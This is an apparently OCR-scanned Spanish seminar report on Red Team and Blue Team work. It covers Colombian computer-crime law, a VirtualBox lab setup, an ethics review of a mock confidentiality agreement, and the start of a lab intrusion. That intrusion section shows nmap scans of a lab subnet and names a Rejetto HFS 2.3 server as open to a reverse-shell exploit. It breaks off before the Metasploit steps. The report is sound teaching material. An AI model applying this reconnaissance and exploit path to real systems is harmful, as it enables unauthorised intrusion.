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RESUMEN

En el seminario especializado, Equipos estratégicos de Seguridad Red Team & Blue
Team, se realizaron distintas actividades que hacen parte de investigacion, analisis,
implementacion, pruebas, resultados y documentacién, todas estas fueron
distribuidas en 4 diferentes etapas progresivas, las cuales dependian de un
desarrollo 6ptimo y unos buenos resultados para obtener éxito en la interpretacion
y realizacion de lo expuesto. Estas etapas son:

Etapa 1 - Conceptos equipos de Seguridad: Leyes informaticas en Colombia e
instalacion banco de trabajo.

Etapa 2 - Actuacion ética y legal: Procesos ilegales y no éticos estipulados en un
acuerdo de confidencialidad y los articulos de la Ley 1273 del 2009 que se vulneran.

Etapa 3 - Ejecucién pruebas de intrusion: RedTeam - Intrusion a sistema operativo
Windows 7 de 64 bits mediante Nmap y Metasploit de Kali Linux.

Etapa 4 - Contencion de ataques informaticos: BlueTeam — Implementacion,
configuracion, adaptabilidad y establecimiento de procesos seguros.

Para esto se establecen bancos de trabajo, instalaciones, configuraciones,
investigaciones, documentaciones y todo lo necesario para realizar las diferentes
etapas que hacen parte de las actividades que le corresponde a un miembro de
Blue Team, Red Team y los aspectos legales que debe tener presente al momento
de ejercer el cargo en una empresa llamada Whitehouse Security. Los escenarios
seran claros y enfocados a lo que se requiere segun corresponda.

Se mencionara lo mas relevante e importante de lo realizado en cada una de estas
etapas, dando asi las conclusiones y recomendaciones pertinentes para entender,
implementar y reconocer estas situaciones en actividades profesionales futuras.
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GLOSARIO

Acceso abusivo: Cuando de manera no autorizada o por fuera de lo acordado se
accede a todo o parte de un sistema

Acuerdo de confidencialidad: La forma de legal de comprometerse a no divulgar
la informacién, procedimientos, temas y demas términos que en este se plasme, se
maneja mediante un contrato.

Banco de trabajo: Establecer, instalar y configurar las herramientas necesarias
para realizar una serie de pruebas, analisis y estudios. Particularmente se intenta
simular un escenario y en este se realizan todos los procesos necesarios.

Blueteam: Es el equipo experto en ciberseguridad encargado de analizar un
sistema, descubrir fallos, identificar amenazas, posibles ataques que pueda sufrir el
sistema y establecer una defensa que ayude a combatir, detener e impedir que los
ataques surjan efecto o afecten drasticamente el sistema.

Confiabilidad: Tener la certeza de que algo esta funcionando bien y que hace lo
que debe hacer.

Contencidn: Se puede definir como reprimir, detener o neutralizar una accion.

Copias de seguridad: Backups — Realizar respaldo de todos los datos y la
informacion. Lo que se hace es realizar una copia de la informacion deseada por si
el sistema sufre algun dafio y compromete la integridad de la informacion. La
frecuencia en que se realizan las copias de seguridad en un sistema depende de
qué tanto informaciéon nueva o actualizada estad entrando al sistema, por ende,
estipular el tiempo de realizacién es éptimo para garantizar que al momento de tener
que utilizarlas, esta tenga la informacién mas reciente. Las copias de seguridad
deben alojarse fuera del mismo sistema del que se generd, comunmente se guardan
en servidores en la nube o en unidades externas.

COPNIA: Consejo Profesional Nacional de Ingenieria, encargada de controlar,
verificar, inspeccionar y garantizar que la ingenieria se esté desempefiando
correctamente. Por medio de esta se gestiona la tarjeta profesional como ingeniero
y se conoce el cédigo de ética que debemos respetar como ingenieros. También
involucra profesiones a fines y profesiones auxiliares en general.



Datos de chuzadas: Son los datos que se adquieren cuando se interceptan
comunicaciones o transferencia de informacion. Se hicieron famosas cuando
empezaron a aplicarse en llamadas telefénicas. Su Unico objetivo es obtener
informacion por medio de conversaciones en las que no se esta autorizado estar u
obtener informacion que se esta transfiriendo por correo electrénico u otro medio de
la red.

Disponibilidad: Estado en el que se encuentra algo que puede utilizarse sin ningn
problema. Se utiliza para referenciar la existencia y acceso completo para hacer uso
cuando se desee.

Etica profesional: Son los valores y las acciones correctas que deben caracterizar
a los profesionales cuando estén desempefiando un cargo laboral. Por medio de la
ética profesional se identifica la calidad como trabajador o miembro de una
organizacion.

Exploit: Se reconoce la accién cuando se ejecuta algun procedimiento para atacar
un sistema, aprovechar errores encontrados o utilizar vulnerabilidades para acceder
a un sistema. Un exploit puede ser algo parametrizado, programado, configurado o
simplemente una orden para realizar una debida accion.

Hardenizacion: Consiste en endurecer un sistema (hacerlo mas seguro y menos
propenso a ataques informaticos) mediante configuraciones, actualizaciones o
instalaciones de herramientas que ayuden a fortalecer un sistema, de esta manera
se evitan y se reducen las posibilidades de que el sistema sea atacado o que un
ataque se materialice.

Intrusion: Infiltrarse o acceder a un sistema de forma no autorizada, por lo general
se intenta pasar desapercibido.

Kali Linux: Sistema operativo utilizado para realizar las pruebas se seguridad,
auditorias y hacking ético de los sistemas. Cuenta con herramientas que permite
realizar estas actividades de una manera méas grafica y obteniendo interfaz de
resultados mas amigables.

Metasploit framework: Herramienta utilizada en sistemas operativos como Kali
Linux por Blueteam y Readteam, con la cual se pueden realizar pruebas de
intrusion, ejecutar exploits y documentar los resultados.

Meterpreter: Es un programa malicioso y utilizado para poder controlar de manera
remota un sistema.



Nmap: Herramienta utilizada en sistemas operativos como Kali Linux, la cual sirve
para obtener las direcciones IP de una red, los puertos disponibles de los equipos
gue encuentra en la red, caracteristicas de sistemas y mucha informacion que viaja
por la red.

Parametros: Conjunto de elementos que al integrarse cumplen una funcionalidad.
Con la integracion de parametros se puede armar y establecer la ejecucion de un
programa, un destino y una finalidad. Los parametros por lo general se relinen para
darle forma y sentido a algo.

Payload: Es lo que ejecutamos cuando activamos un exploit, o sea es lo que se
pretende hacer en la vulnerabilidad encontrada.

Plan de contingencia: Prepararse para sucesos que puedan ocurrir, ya sea a nivel
geografico, organizacional, sistematico y que puedan afectar el flujo normal de algo.
Todo plan de contingencia tiene un proposito y debe ser estudiado cuidadosamente,
ya que si llega a producirse el suceso para el que fue creado y no surge efecto, este
sera inutil.

Redteam: Es el equipo encargado de actuar como atacantes, con el fin de realizar
todos los analisis, descubrir vulnerabilidades, realizar ataques y realizar de una
manera ética todo lo que un atacante podria hacerle a un sistema. De esta forma
se pueden detectar falencias de seguridad en los sistemas e identificar que hay
cosas por hacer. La idea es que constantemente el Redteam esté trabajando y
recorriendo lo que mas pueda en busca de nuevas falencias.

Vulnerabilidad: Debilidad encontrada en un proceso. Cuando se habla de
vulnerabilidad se habla de peligro, de que no estid preparada o que no es lo
suficientemente capaz para enfrentar algo. Si algo es vulnerable puede ser
facilmente atacado y no solo para destruir sino para utilizarse como acceso al
sistema.

WM Virtual Box: Es un software de maquina virtual utilizado para los bancos de
trabajo. Por medio de Virtual Box se pueden instalar sistemas operativos en el
equipo y controlar todos estos ambientes. Se comparten los recursos del equipo y
de este dependen la eficiencia de la maquina virtual.



INTRODUCCION

Con la presente actividad lo que se pretende es identificar lo mas relevante de las
etapas que se realizaron durante el seminario, lo cual hace parte de resaltar los
aspectos legales, las actividades realizadas como miembros de Redteam y de
Blueteam y los respectivos analisis de los resultados y los procesos que se fueron
realizando.

Se considera lo més relevante a lo practico, a lo que de una forma muestra lo que
puede pasar en un entorno real y que mediante las habilidades como profesionales
en seguridad informatica y ciberseguridad se implementan para dar respuesta,
proponer solucién y ejecutar las acciones solicitadas.

Todo lo realizado hace parte de un producto progresivo, el cual tiene una
dependencia de procesos para poder terminar de la forma que terminé y con toda
la documentacion que se establecio. Esta actividad deja muchas conclusiones y
recomendaciones, de paso incentiva a seguir explorando sobre ciberseguridad y las
estrategias que podemos implementar en casos reales. Se advierten muchos
factores, pero esto le suma a la importancia de trabajar con responsabilidad,
seguridad y con una gran vision.



OBJETIVOS

OBJETIVO GENERAL

Presentar formalmente lo més relevante de lo realizado en las etapas que
componen el seminario especializado Equipos Estratégicos en Ciberseguridad: Red
Team & Blue Team, incluyendo los aspectos legales que deben considerarse.

OBJETIVOS ESPECIFICOS

e Reconocer las leyes informaticas que rigen en Colombia.

e Establecer un banco de trabajo para poder realizar las actividades.

¢ |dentificar los procesos ilegales, no éticos y qué articulos de la Ley 1273 del
2009 se estan vulnerando en un contrato de confidencialidad.

e Como miembro de Red Team, realizar una intrusién a un Sistema.

e Desde el equipo Blue Team se deben disefiar estrategias para contener,
hardenizar, actuar, repelar e identificar ataques a un Sistema.



DESARROLLO DEL INFORME

ETAPA 1 - CONCEPTOS EQUIPOS DE SEGURIDAD.

Las leyes informaticas que rigen en Colombia son:

Existe la Ley 1273 de 2009, la cual refiere a que las personas y empresas pueden
realizar denuncias sobre ataques informaticos, robd de informacién personal,
software malicioso que atente contra la integridad de los activos de los datos de
acceso, de la autenticacion, la confidencialidad, confiabilidad y disponibilidad de la
informacion de manera personal y empresarial. También se menciona lo que se
conoce como suplantacion de un sitio web, para que las personas accedan
creyendo que estan en una pagina “legal”’ e ingresen informacién como: usuarios y
contrasefias, cuentas bancarias, direcciones, teléfonos, etc.

Cualquier acto que atente contra la privacidad en cuanto a informacion y datos se
considera un delito cubierto por esta ley. También intervienen los dafios a nivel de
hardware o informacion corporativa, divulgacion o manipulacién de la misma que va
en contra de la ética.

Cuando hablamos de delitos informaticos, hablamos de todo lo que se manipula de
forma ilicita en un sistema, siendo parte directa o indirecta del evento, por ejemplo:
Una persona utilizando sus conocimientos y habilidades decide suplantar una
entidad y solicitar informacién a una persona haciéndole creer que es para un fin,
siendo este un ejemplo muy comun. Otra forma en la que se evidencia un delito es
cuando utilizando el cargo empresarial y perfil dentro de la organizacién, decide
adquirir informacién delicada para uso o simplemente acceso, quebrantando no solo
la Ley sino el reglamente empresarial, siendo esto un acto de falta de ética
profesional.

Suplantar a una persona también se puede presentar, ya que utilizan las
credenciales de acceso y perfil de usuario para un acto que por muy pequefio que
sea, atenta contra el buen nombre y legitimidad de la informacién.

Muchos de los ejemplos mencionados se hacen sin consentimiento de las personas
o incluso les hacen creer que son para algo particular y no, termina siendo algo
indebido. Algo que también se presenta y sirve como ejemplo, es cuando una
persona llega a ser despedida de la empresa, esta opta por dedicarse a divulgar
informacion de los procesos operativos y administrativos, borra la informacion de
los equipos o los altera.

Aunque la Ley 1273 del 2009 es la ley mas completa y dedicada a los delitos
informaticos, también se cuentan con unas leyes mas antiguas que a medida que
pasaba el tiempo y avanzaba la tecnologia se fueron creando, mejorando e
implementando, ayudando asi a solidificar un campo tan abierto y tan completo
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como lo son los sistemas y los actos que se pueden realizar con ellos. Algunas de
esas leyes son:

Ley 527 de 1999, la cual contempla el comercio electrénico como un medio para
que una empresa pueda realizar las transacciones y evitar el costo que podia
generar realizar un negocio o acuerdo directamente con una persona o empresa.
Por lo cual se debieron establecer canales seguros para realizar estas operaciones
y no ser victimas de interferencias o robos. Esta ley también incluye lo que son
documentaciones legales, formales, legitimas y validez en cuanto a lo que se
establecen en los procesos de comercio. Gracias a esto se establecieron los
certificados, las firmas digitales, mensajes cooperativos por medio de correos
electronicos y medios necesarios para establecer un acuerdo legal y asertivo.

Ley 599 del 2000, la cual comprende la interceptacién de informacion de manera
ilicita por medio de canales de comunicacion, afectando la intimidad de la persona
y derecho a la privacidad.

Ley 603 del 2000 tiene que ver con la pirateria y la manera en que se divulgaba y
generaba un negocio ilegal para los derechos de autor y se manejaban por la red.

Ley 1266 del 2008, en donde se mencionaba en su momento que, por medio de
bases de datos, las entidades financieras y empresas manipulaban un gran nimero
de datos personales (numero de cuenta, direccidn, teléfono, ingresos, vida
crediticia, etc.) Para esto se establecié que la Superintendencia de Industria y
Comercio seria la encargada de manejar estos datos y es la persona misma la que
decide quién puede ver la informacion, que parte y el modo que va ser utilizada.

Ley 1581 del 2012, la cual habla de la autorizacion del tratamiento de los datos
personales, lo cual tiene que ver con informacion de una persona: Su familia, su
profesion, sus datos basicos, asociaciones, contratos, etc. De esto se desprende la
implementacion de esta ley, ya que primero que todo para la recoleccion de esta
informacion la persona debe ser notificada y autorizar el tratamiento de estos datos,
ser consciente de que esta subministrando informacion delicada y conocer para qué
y a donde va a parar la informacién que dé. Todo uso que se le vaya a dar a esta
informacion, debe ser notificada previamente y autorizada por la persona, todo lo
que esto conlleva es llamado Privacidad. La divulgacion de esta informacion
también se maneja por medio de esta ley y se establecen los requisitos para poder
hacerlo. El objetivo de esta ley es proteger toda esta informacién y que al momento
sé que haga uso indebido pueda establecer una demanda con los argumentos
necesarios para establecer sus derechos a la privacidad.

Estas leyes en su momento no contaban con que en un futuro la red tendria tanta
influencia en nuestro diario vivir, en que muchos eventos transcurren cada segundo
y que la informacién que por ahi pasa es sumamente delicada. Para eso es
importante identificar la Ley 1273 del 2009 y todo lo que conlleva un delito
informatico en Colombia, desde lo directo hasta lo indirecto.
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Se procede a instalar un banco de trabajo, con el cual se realizaran actividades en
las préximas etapas. El banco de trabajo se realizara sobre una maquina virtual y
se instalaran los siguientes sistemas operativos:

Windows 7 — 32 bits

Una vez importada la OVA del Windows 7 de 32 bits se pueden ver las siguientes
caracteristicas en el WM Virtual Box.

Imagen 1 — Caracteristicas Windows 7 de 32 bits en maquina virtual

= General

Mombre: winF-SE2020

Sistema operativo:  Windows 7 (32-bit)

|E| Sistema

Memaoria base: 4096 MB

Procesadores: 4 .

Orden de arranque: Disguete, Optica, Disco duro
Aceleracidn: VT-x/AMD-Y, Paginacion anidada, Paravirtualizacion Hyper-y
(W] pantalla

Memoria de video: 16 MB

Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacidn: Inhabilitado

Almacenamiento

Controlador: SATA
Puerto SATA O: Win7-5E2020-disk00 1. vdi (Mormal, 50,00 GB)

{0 Audio

Controlador de anfitrion:  Windows DirectSound
Controlador; Audio Intel HD

=F Red

Adaptador 1:  Intel PRO,/1000 MT Desktop (Adaptador puente, «Intel(R) Wireless-AC 9560 160MHz:=)
Fuente: Propia

Luego se enciende la maquina virtual y se ven las caracteristicas del hardware del
sistema:
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Imagen 2 — Caracteristicas Hardware de Windows 7 de 32 bits
W win7-SE2020 [Corriendo] - Oracle VM VirtualBox - O X

Fuente: Propia

Ahora a nivel de red se revisa la direccion IP que le corresponde, abriendo CMD y
escribiendo ipconfig

Imagen 3 — Direccion IP de Windows 7 de 32 bits

15150

Al Lon Reservalos todos

Rdaptador de Ethernet Conexidn de Area local:

anlace pPEai

Adaptador de toanel i

E de 1oz

Sufijo DME especifico |:|.||-'.|. la conexid

sl ps s usuario >

Fuente: Propia
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Windows 7 — 64 bits

Una vez importada la OVA del Windows 7 de 64 bits se pueden ver las siguientes
caracteristicas en el WM Virtual Box.

Imagen 4 - Caracteristicas Windows 7 de 64 bits en maquina virtual

=] General

MNombre: Win7-5E2020-X64
Sistema operativo:  Windows 7 (54-bit)
Grupos: ESI Seq. DB

|E| Sistema

Memoria base: 40396 MB

Orden de arrangue: Optica, Disco duro
Areleracian: WT-x/AMD-V, Paginacion anidada, Paravirtualizacion Hyper-v
|§] Pantalla

Memoria de video: 13 MB
Controlador grafico: VBoxSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacian: Inhabilitado

Almacenamiento

Controlador; SATA
Puerto SATA O: Win7-SE2020-X64-disk001.vdi (Mormal, 50,00 GB)
Puerto SATA 1: [Unidad dptica] Vacio

o Audio

Controlador de anfitrion:  Windows DirectSound
Controlador: Audio Intel HD

= Red

Adaptador 1:  Intel PRO/1000 MT Desktop {Adaptador puente, «Intel(R) Wireless-AC 9560 160MHz=)
Fuente: Propia

Luego se enciende la maquina virtual y se ven las caracteristicas del hardware del
sistema:
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Imagen 5 - Caracteristicas Hardware de Windows 7 de 64 bits

W8 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox = a X

= |[ 53 ] | » Equipo » =
AT
L rol » Tod nentos de Panel ds » v by
’ ks A Organizar v Propiedades del sistema  Desinstalar o cambiar un programa Conectar  un
I def Panel d ® d 1
1na principal del Panel de o Spa Favoritos 4 Unidades de disco duro (1
ol 2 Ver informacién bésica acerca del equipo ’ oo
% Descargas Disco local (C:)
Edicion de Windows séritor o1
inistrador de dispositives B Escritorio o
o Windows 7 Professional Sitios recientes
iguracién de Acceso = .
to Copyright © 2009 Microsoft Corporation. Reservados todos los derechos. spositivos con almacenamiento extraible (1
ccion del sistema Service Pack1 J Bibliotecas
D Documentos Unidad de CD (D)

iguracién avanzada de
ne & Imigenes

o) Misica

F B videos
Sistema I

& Grupo en el hogar

Evaluacién uacién del sist t4 d
Procesador: Intel(R) Core(TM) i7-8565U CPU @ 180GHz 199 GHz M Equipo
Memoria instalada (RAM): 4,00 GB &, Discolocal (C:
Tipo de sistema: Sistema operativo de 64 bits

Lapiz y entrada tactik: La entrada tactil o manuscrita no esta disponible para esta pantalla € Red

Configuracién de nombre, dominio y grupo de trabajo del equipo

Nombre de equipo: PC202006 # Cambia
0 de actividades Nombre completode ~ PC202006 -
ows Update PO L PC202006 ouP temoria: 4,00 GB
Descripcién del equipo: - Core(TM) i7-85.

macion y herramientas de
miento Grupc de trabajo: WORKGROUP

Fuente: Propla

Ahora a nivel de red se revisa la direccion IP que le corresponde, abriendo CMD y
escribiendo ipconfig

Imagen 6 — Direccion IP de Windows 7 de 64 bits
E! Administrador: C \Wndws‘.s:,rs‘temncmd £xE = E@

rvados to
C:xlserssusuariod

Configuracion IP de

ifico para la con
ireccion IPwb local. E 1:9ced:4e38:7898111
[Pud. P e e e s . LAB.19
subred . . . . . . . 155 .8
de enlace predeterminada .

Adaptador de tidnel isatap.{SBESBED2-9BA4-4799-BERJ D7IC2468% -

: nedios desconectado

Fuente: Propia
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Kali Linux

Una vez importada la OVA del Kali Linux se pueden ver las siguientes
caracteristicas en el WM Virtual Box.

Imagen 7 - Caracteristicas Kali Linux en maquina virtual

@ General

Mambre: Kali - Seminario
Sistema operativo:  Debian (54-bit)

|E| Sistema

Memaria base: 2048 MB

Orden de arrangue: Optica, Disco duro
Aceleradon: YT-xfAMD-Y, Paginacion anidada, Paravirtualizacon KM
M| pantalla

Memaoria de video: 16 MB
Controlador grafico: VBOXVIGA
Servidor de escritorio remoto:  Inhahbilitado
Grabacion: Inhabilitado

™=l -
Almacenamiento

Controlador: IDE
Controlador: SATA
Fuerto SATA O kali - Seminario-disk001, vdi (Wormal, 50,00 GE)

({p Audio

Controlador de anfitrion:  Windows DirectSound
Controlador: ICH ACS7

=Y Red

Adaptador 1: Intel PRO,/1000 MT Desktop (MAT)
Fuente: Propia

Luego se enciende la maquina virtual, se inicia sesion:
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Imagen 8 — Iniciar Sesion en Kali Linux

estudiante

@ -

Cancelar Acceder

| KALI |

BY OFFENSIVE SECURITY

Fuente Propia

Se abre una terminal y se escribe el comando 1scpu para conocer los detalles del
hardware:

Imagen 9 - Caracteristicas Hardware de Kali Linux

i Kali - Seminario [Corriendo] - Oracle VM VirtualBox - [m] X

Fuente: Propia
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Luego por medio del comando ip ad o ip address se puede obtener la direccion
IP

Imagen 10 - Direccion IP de Kali Linux

estudiante@seminario:

Archivo Acciones Editar Vista Ayuda

Fuente: Propia

Para comprobar que hay conexion entre la maquina de Kali con cada una de las
maquinas de Windows, se realizard ping a las direcciones IP de cada una con el
siguiente comando:

Primero se prueba la conexién con la maquina de Windows 7 de 32 bits escribiendo
en la terminal ping 192.168.10.16

Imagen 11 — Ping a la

Archivo Acciones Editar Vista Ayuda

maquina Windows 7 de 32 bits

EIRUTRNLCLDS

Fuente: Propia

Luego se hace la misma prueba, pero con la direcciéon IP de la maguina de Windows
7 de 64 bits ping 192.168.10.19

18



Imagen 12 — Ping a la maguina Windows 7 de 64 bits

Fuente: Propia

ETAPA 2 - ACTUACION ETICA Y LEGAL.

Evidenciar algun proceso ilegal o no ético que esté presentando un acuerdo de
confidencialidad:

Toda parte que tenga que ver con el acuerdo se pondra en cursiva y se pondra en
negrita, subrayado, mayuscula sostenida y con rojo el o los segmentos en donde se
evidencia en las clausulas el proceso ilegal y/o no ético continuando con el
argumento del por qué se sefial6:

Primera. Objetivo: en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios,
AUTORIDADES LEGALES, asesores o cualquier persona relacionada con ella, la
informacion confidencial O SOBRE PROCESOS ILEGALES dentro de Whitehouse
Security no podran ser divulgados.

Argumento: Hace parte de nuestro deber como profesionales reportar ante las
autoridades todo proceso ilegal que se evidencie o se descubra en la institucion,
empresa o trabajo en la que se esté brindando servicios, ya que no solo se esta
infringiendo la ley, sino que estariamos siendo complices por ocultar o sacar
provecho de la informacién encontrada.

Segunda. Definicion de informacién confidencial: se entiende como
Informacion Confidencial, para los efectos del presente acuerdo:

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefios industriales, DATOS SECRETOS COMO “DATOS DE
CHUZADAS, INTERCEPTACION DE INFORMACION, ACCESOS ABUSIVOS A
SISTEMAS INFORMATICOS”.

parte receptora tenga conocimiento o a la que tenga acceso por cualquier medio 0
circunstancia en virtud de las reuniones sostenidas y/o documentos suministrados.
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Argumento: Como profesionales no podemos permitir que un caso de chuzadas e
interceptacién de informacién que vendria siendo atentar contra la privacidad e
intimidad de las personas y acceso no autorizado, se pase por alto, se ignore y
sobre todo no sea reportada antes las autoridades. Quiero resaltar que luego de la
parte resaltada se detecta que hay un corte en este punto, se evidencian espacios
y luego se empata con algo que hace perder sentido a la clausula, esto demuestra
la irregularidad del acuerdo.

Cuarta. Obligaciones de la parte receptora: Se considerara como parte receptora
de la informacion confidencial a la persona que recibe la informacion, o que tenga
acceso a ella. La parte receptora se obliga a:

3. NO DENUNCIAR ANTE LAS AUTORIDADES ACTIVIDADES SOSPECHOSAS
DE ESPIONAJE O CUALQUIER OTRO PROCESO EN EL CUAL INTERVENGA
LA APROPIACION DE INFORMACION DE TERCEROS.

4. Abstenerse de DENUNCIAR vy publicar la informacion confidencial e ILEGAL que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

8. RESPONDER ANTE LAS AUTORIDADES COMPETENTES COMO
RESPONSABLE EN CASO DE QUE LA INFORMACION SE ENCUENTRE EN SU
PODER DENTRO DE UN PROCESO DE ALLANAMIENTO.

9. La parte receptora se obliga a no transmitir, comunicar revelar o de cualquier otra
forma divulgar total o parcialmente, publica o privadamente, la informacion
confidencial o ILEGAL sin el previo consentimiento por escrito por parte de
Whitehouse Security.

Argumento: Se ha mencionado que todo acto ilegal debe ser reportado ante las
autoridades competentes, independientemente del acto que sea, afecte o no a
personas como es el caso de espionaje. Ahora también se menciona el hecho de
hacerse responsable o “echarse la culpa” en caso de que esos actos se descubran
antes o después de que uno mismo los identifique.

Quinta. Obligaciones de la parte reveladora: Son obligaciones de la parte
reveladora:
1. Mantener la reserva de la informacion confidencial hasta tanto

Argumento: En esta clausula no se sefiala ninguna ilegalidad, pero se evidencia la

irregularidad de la estipulacion y redaccién de la clausula quedando incompleta.
Esto se prestaria para anexar y editar el acuerdo una vez firmado.
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Octava. Solucion de controversias: Las partes (nombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. EN CASO QUE LA INFORMACION ILEGAL O
CONFIDENCIAL SEA ENCONTRADA EN MANOS DEL RECEPTOR ESTE
DEBERA ACUDIR_A UN ABOGADO PRIVADO Y DEJAR EXENTA DE
CUALQUIER RESPONSABILIDAD LEGAL Y PENAL A WHITEHOUSE
SECURITY.

Argumento: La clausula indica que la empresa no solo quiere librarse de toda
responsabilidad en caso de que se encuentren actos ilegales, sino que quiere que
la persona que firme el acuerdo (en este caso yo) se haga responsable de todo y
para la defensa del caso, que seria un abogado, no contara con la ayuda de la
empresa.

Ahora es importante mencionar los articulos de la Ley 1273 de 2009 que se estan
vulnerando en este acuerdo de confidencialidad:

ARTICULO 269A: ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que,
sin autorizacién o por fuera de lo acordado, acceda en todo o en parte a un
sistema informético protegido o no con una medida de seguridad, o se mantenga
dentro del mismo en contra de la voluntad de quien tenga el legitimo derecho a
excluirlo, incurrirh en pena de prision de cuarenta y ocho (48) a noventa y seis
(96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes.!

Explicacion: En la clausula Segunda se menciona “accesos abusivos a sistemas
informaticos”, por ende, algo abusivo conlleva a ir mas alla de lo permitido o lo legal
y este articulo hace referencia a las faltas y consecuencias al ser vulnerada.

ARTICULO 269C: INTERCEPTACION DE DATOS INFORMATICOS. El que, sin
orden judicial previa intercepte datos informéticos en su origen, destino o en el
interior de un sistema informatico, o las emisiones electromagnéticas
provenientes de un sistema informético que los trasporte incurrird en pena de
prision de treinta y seis (36) a setenta y dos (72) meses.?

Explicacion: En la clausula Segunda se menciona “interceptacion de informacion”,
por ende, se estaria vulnerando este articulo de la Ley 1273, ya que se menciona
un acto que se esta prohibiendo.

ARTICULO 269F: VIOLACION DE DATOS PERSONALES. El que, sin estar

L MINTIC. Ley 1273. Bogota D.C.: Congreso de Colombia. 2009. p.1.
2 Ibid., p.1.
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facultado para ello, con provecho propio o de un tercero, obtenga, compile,
sustraiga, ofrezca, venda, intercambie, envie, compre, intercepte, divulgue,
modifigue p emplee codigos personales, datos personales contenidos en
ficheros, archivos, bases de datos o medios semejantes, incurrird en pena de
prision de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a
1000 salarios minimos legales mensuales vigentes.3

Explicacion: En la clausula Cuarta se menciona “no denunciar ante las autoridades
actividades sospechosas de espionaje o cualquier otro proceso en el cual intervenga
la apropiacion de informacion de terceros”, por ende, se estaria vulnerando este
articulo de la Ley 1273, ya que se menciona un acto que se esta prohibiendo.

ARTICULO 269H: CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: las penas
imponible de acuerdo con los articulos descritos en este titulo, se aumentaran de
la mitad a las tres cuartas partes si la conducta se cometiere:

1. Sobre redes o sistemas informéticos o de comunicaciones estatales u oficiales
o del sector financiero, nacionales o extranjeros.

2. Por servidor publico en ejercicio de sus funciones

3. Aprovechando la confianza depositada por el poseedor de la informacién o por
quien tuviere un vinculo contractual con este.

4. Revelando o dando a conocer el contenido de la informacién en perjuicio de
otro.

5. Obteniendo provecho para si o para un tercero.

6. Con fines terroristas o0 generando riesgo para la seguridad o defensa nacional.
7. Utilizando como instrumento a un tercero de buena fe.

8. Si quien incurre en estas conductas es el responsable de la administracion,
manejo o control de dicha informacion, ademas se le impondra hasta por tres
afos, la pena de inhabilitacién para el ejercicio de profesion relacionada con
sistemas de informacién procesada con equipos computacionales.*

Explicacion: Este articulo no solo lo estaria vulnerando la empresa por los actos
ilegales que realiza o ha realizado, también la estaria quebrantando la persona que
firma ese acuerdo (en este caso yo) porque en ese acto de falta de ética estaria
siendo no solo complice, sino conocedor y si en el caso de ir mas alla en contra de
los principios, estaria realizando lo mismo, siendo participe de una serie de delitos
qgue darian continuidad a todos los actos que ya vienen desempefiando. No decir
nada también es un delito y eso hay que tenerlo presente siempre.

3 1bid., p.1.
4 |bid., p.2.
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ETAPA 3 - EJECUCION PRUEBAS DE INTRUSION.

Como miembro de Red Team se pide realizar una intrusidbn a un sistema y se
subministra la siguiente informacién:

- Sistema Operativo Windows 7 de 64 bits

- Instalacién de rejetto 2.3(HTF — HTTP File Server)

- Laaplicacion al parecer tiene asociado un exploit que puede terminar en una
Shell reversa y una sesion abierta de meterpreter.

Anexo a lo anterior, subministran una copia del servidor (OVA Windows 7 de 64 bits)
en donde se valida la informacion subministrada:

Rejetto v. 2.3

Imagen 13 — Interfaz software Rejetto v 2.3

#34 HFS - HTTP File Server 2.3 Build 288 = ==
& Menu ‘ Q Port: 80 | €2 You are in Easy mode ‘
m Open in browser  http://192.168.10.16/ Copy to clipboard
Virtual File System Log
;
i 1P address O File Status Speed  Time.. Progress

Out: 00 KB/s  In:0.0 KB/

Fuente: Propia

Revisamos la direccion IP:

23



Imagen 14 — Revision direccion IP de Windows 64 bits
B Administrador: C\Windows\system32\cmd.e

n k.1 Bi1

N
oft Corporation. Reservados todos los

ol =@ 8
derechos.
uwarioripconfig

Configuracitn IF de Windows

daptador de Ethernet Conexidn de &rea local:

Su ifico para la conexibn. . :
i cidn IPvb local. . . : FeB

Fuente: Propia

Con esta informacion se procede a utilizar Kali Linux para realizar la intrusion:
Aplicaciones a utilizar en Kali Linux

Primero que todo abro una terminal y ejecuto el comando ip add para identificar la
direccion IP en la red conectada:

Imagen 15 — Revision direccion IP de Kali Linux

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

Fuente: Propia
Revisamos en la parte 2: eth0O, donde dice inet 192.168.10.18/24

Esta es la direccién IP de la maquina de Kali Linux, la cual utilizaré para realizar el
escaneo con una herramienta llamada Nmap.
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Nmap

El Sistema Operativo Kali Linux la trae instalada

Imagen 16 — Ubicacion Nmap en Kali Linux
[E] estudiante@seminario: ~

» % +» Herramientas para F...
MERTEE » e - Herramientas VolP
s aplicaciones ﬁ )
| legion
%s® Configuracion ® nikio

I Aplicationes habituales &

Q 01 - Recopilacion de Informacion e unix-privesc-check
ci\_r' 02 - Analisis de Vulnerabilidades

Fuente: Propia

Una vez iniciada escribimos el comando:

sudo nmap -sP 1920168.10.0/24

Con este se empiezan a escanear los puertos de la red.

Imagen 17 — Ejecucién comando -sP con nmap en Kali Linux

Fuente: Propia
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Con este comando puedo ver las direcciones IP, MAC y algunas caracteristicas que
me ayuden a identificar el equipo que deseo atacar, pero para ser precisos se utiliza

el comando:

sudo nmap -Sv 192.168.10.0/24

Imagen 18 - Ejecucion comando - Sv con nmap en Kali Linux

estudiante{@seminario: ~

Archivoe Acciones Editar Vista Ayuda

Fuente: Propia

Con este resultado confirmo que la IP que debo utilizar es la 192.168.10.16, la
cual corresponde al sistema operativo Windows 7 de 64 bits.
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El puerto 80 es un puerto abierto y en estos momentos se utilizado por el
HttpFileServer, asi que por medio de este puerto se realizara el ataque.

Metasploit Framework
Nota: Para este punto utilizaré otro Kali Linux.
La IP de este Kali Linux es: 192.168.10.12

Imagen 19 — Revision direccion IP de Kali Linux

leali@ kali: ~

File Actions Edit View Help

